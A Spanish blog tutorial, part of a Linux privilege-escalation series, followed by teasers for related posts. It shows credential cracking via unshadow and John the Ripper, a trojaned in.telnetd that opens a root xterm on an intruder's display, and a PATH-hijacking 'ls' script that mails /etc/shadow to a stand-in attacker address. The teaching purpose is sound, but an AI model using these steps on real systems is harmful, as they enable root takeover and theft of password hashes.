Elevacion De Privilegios en Linux Parte III

De Juan Carlos García -


Si recordamos tanto la primera parte de esta serie como la segunda, ya tenemos las herramientas necesarias para elevar privilegios.. o por lo menos para empezar a entrar en materia.
Lo que vamos a ver ahora son “ideas” de por donde podeis ir más exactamente de la misma manera que en la II parte os puse la explotación de “ptrace” por ejemplo.
Lo que nos debe de quedar muy claro es que siempre debemos buscar “cosas” como ficheros con permisos y que permisos , pertenencia a grupos, usuarios y todo lo que vosotros penseis que puede ser “curioso”.
 Por ejemplo, además de buscar ficheros en propiedad de un cierto grupo, también se puede intentar localizar todos aquellos ficheros del sistema que cualquier usuario pudiera leer no?..
Como buscar ficheros que sean legibles por cualquier usuario del sistema dentro del directorio /etc ? ( Aunque lo tienes en la parte II) 😉
$ find /etc -type f -perm -4 -print 2> /dev/null
En el directorio /etc hay muchos ficheros que no deberían ser leídos por cualquier usuario. Por ejemplo, el fichero /etc/shadow ( y /etc/passwd ) contiene las contraseñas cifradas de los usuarios. Cualquiera que tuviera acceso a este fichero podría lanzar un ataque mediante fuerza bruta contra el utilizando John the Ripper..ASÍ 
Debian / Ubuntu Linux:

$ sudo apt-get install john
$ sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db 

RHEL / CentOS / Fedora Linux

# rpm -ivh john* 
# /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db 

$ john /tmp/crack.password.db

( Salida)
 john /tmp/crack.password.db
Loaded 1 password (FreeBSD MD5 [32/32])
$ john -show /tmp/crack.password.db
secnight:123456:1002:1002:secnight,,,:/home/secnight:/bin/bash
juan:abc123:1003:1003::/home/juan:/usr/bin/rssh
2 passwords cracked, 1 left
Por lo tanto un intruso podría intentar localizar ficheros con permisos de escritura utilizando el siguiente comando
$ find / -type f -perm -2 -print 2> /dev/null
 /usr/sbin/in.telnetd
En este ejemplo y continuando con el mismo usuario “juan” de las serie, aquí el amigo tiene permisos de escritura sobre el fichero in.telnetd.
El servicio inetd o xinetd del sistema víctima invoca al fichero in.telnetd cada vez que llega una conexión entrante al puerto telnet.
El intruso podría editar el fichero” in.telnetd “ y escribir, por ejemplo, lo siguiente
 #!/bin/bash
 xterm -display direccion_ip_intruso:0.0 &
Tras esto, el intruso tendrá que ejecutar en su sistema esto
 xhost +direccion_ip_victima
De esta forma le concede permisos a la máquina víctima para que abra un programa X en el servidor X del intruso.
Y ahora, todo lo que tendrá que hacer el “hacker” será lanzar un “telnet” contra el sistema de la victima ( es decir, el “picueto” ).
 Esto hará que “inetd” o “xinetd” invoquen al programa /usr/sbin/in.telnetd con privilegios de root y un “potito” terminal de ROOT aparecerá en la pantalla del intruso haciendo las delicias del hacker con una post explotación de lujo y a “manopla”.;)

QUE PASA CON “.”
Siempre que un usuario ejecuta un comando, la shell busca la ubicación de este comando en la lista de directorios contenida en la variable del entorno PATH:

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/home/secnight/bin:/bin
Vamos a suponer que el usuario “root” tiene el directorio actual (“.”) incluido en la variable PATH
.:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin:/bin
En caso de que esto sea así, cada vez que el usuario “root” ejecute un comando como “ls”, la shell buscará primero este comando en el directorio actual y luego continuará su búsqueda en el resto de directorios incluidos en la variable PATH.
Pues un TROYANO by the “PATH” no? Explotando “.”
Un usuaro malintencionado de webos con acceso a una cuenta de usuario, como “juan”(alias ‘picueto’), podría crear un fichero llamado “ls” y colocarlo en el directorio personal del picueto ( /home/juan ) y que contenga por ejemplo esto

#!/bin/bash
cat /etc/shadow | mail hacker@hacker_mail.com
/bin/ls
Si el usuario “root” se encontrara en el directorio de “juan” y quisiera ver el contenido de este directorio utlizando el comando “ls”, se ejecutaría el anterior script con los permisos de root.
Al hacer esto, el fichero /etc/shadow se enviaría por correo al sistema del “hacker”, y como el script “ls” llama al final al programa real /bin/ls, el usuario “root” no detectaría la diferencia .
Asi que no incluyas nunca en el directorio actual (“.”) en tu variable PATH ..( pues tela :P)
Espero que con esta II parte empeceis a ver la luz de como funciona “el asunto”…
Los ataques deben adptarse al entorno a atacar y vuestra imaginacion muchas veces será la que determine el éxito final en una post explotacion..
Continuará ( Pero metasploit despues de aprender esto .. y lo repetire y repetire … 😉 !! )
Un saludo
 Juan Carlos García
 Live Free Or Die Hacking

Entradas populares de este blog

SHELLCODES por un tubo ....

De Juan Carlos García -
SHELLCODES DATABASE Bueno, os dejo esta "pequeña colección de ShellCodes funcionales para que no tengais que dar muchas vueltas Tenéis de todo y para todos los gustos .. asi que por Shells que no sea ..  AIX Aix - execve /bin/sh - 88 bytes   by Georgi Guninski Alpha Alpha - /bin/sh - 80 bytes   by Lamont Granquist Alpha - execve() - 112 bytes   by n/a Alpha - setuid() - 156 bytes   by n/a BSD BSD/32bits - Passive Connection - 126 bytes   by Scrippie BSD/ppc - execve(/bin/sh) - 128 bytes   by Palante BSD/x86 - setreuid(geteuid(), geteuid()) and execve(/bin/sh, /bin/sh, 0)   by Jihyeog Lim BSD/x86 - setuid/execve - 30 bytes   by Marco Ivaldi BSD/x86 - setuid/portbind - 94 bytes   by Marco Ivaldi BSD/x86 - break chroot - 45 bytes   by Matias Sedalo BSD/x86 - cat /etc/master.passwd & mail root@localhost - 92 bytes   by Matias Sedalo BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes   by Matias...
Leer más

Proteger ASP.NET de inyecciones SQL How T0? BEST PRACTICES

De Juan Carlos García -
Cómo: Proteger ASP.NET de inyecciones SQL Publicado: 21 de Diciembre de 2005 Post:eado:19 de  MARZO 2012 Motivo:   Aumento de Hacking en Aplicaciones Web de manera Brutal desde el 2005 y aumentando Este artículo se aplica a y a como securizar para evitar ser hackeado, si, o si !!! ASP.NET versión 1.1 ASP.NET versión 2.0 y para lo que habeís hecho desde el 2005, estudiarlo bien majetes porque seguís sin securizar el puto código de la parte servidor ... !!! Por dios, ya está bien de poner a los usuarios y trabajadores en peligro .. !! Es tan difícil poner un poquito de atención. Resumen: En este artículo se describen una serie de métodos que ayudan a proteger la aplicación ASP.NET de inyecciones SQL. Entre las distintas técnicas se incluyen la restricción de entradas, el uso de parámetros SQL con tipos seguros para el acceso a datos y el uso de una cuenta con menos privilegios que tenga permisos restringidos en la base de datos. La inyección SQL puede produc...
Leer más

CERTIFICACIONES DE SEGURIDAD

De Juan Carlos García -
Imagen
CERTIFICACIONES DE SEGURIDAD For Fun and Profit Nuevo curso, toca mirar todo lo que tenemos y más … Eso si, caro caro caro(..) Seguridad General—Nivel Basico Brainbench Basic Security Certifications : Ofrece varias certificaciones, un examen por certificación ·          Brainbench Firewall Administration Concepts ·          Brainbench Internet Security ·          Information Technology Security Fundamentals ·          ITAA Information Security Awareness ·          Brainbench Microsoft Security ·          Brainbench Network Authentication ·          Brainbench Network Security ·          Security Industry Knowledge (U.S.) ...
Leer más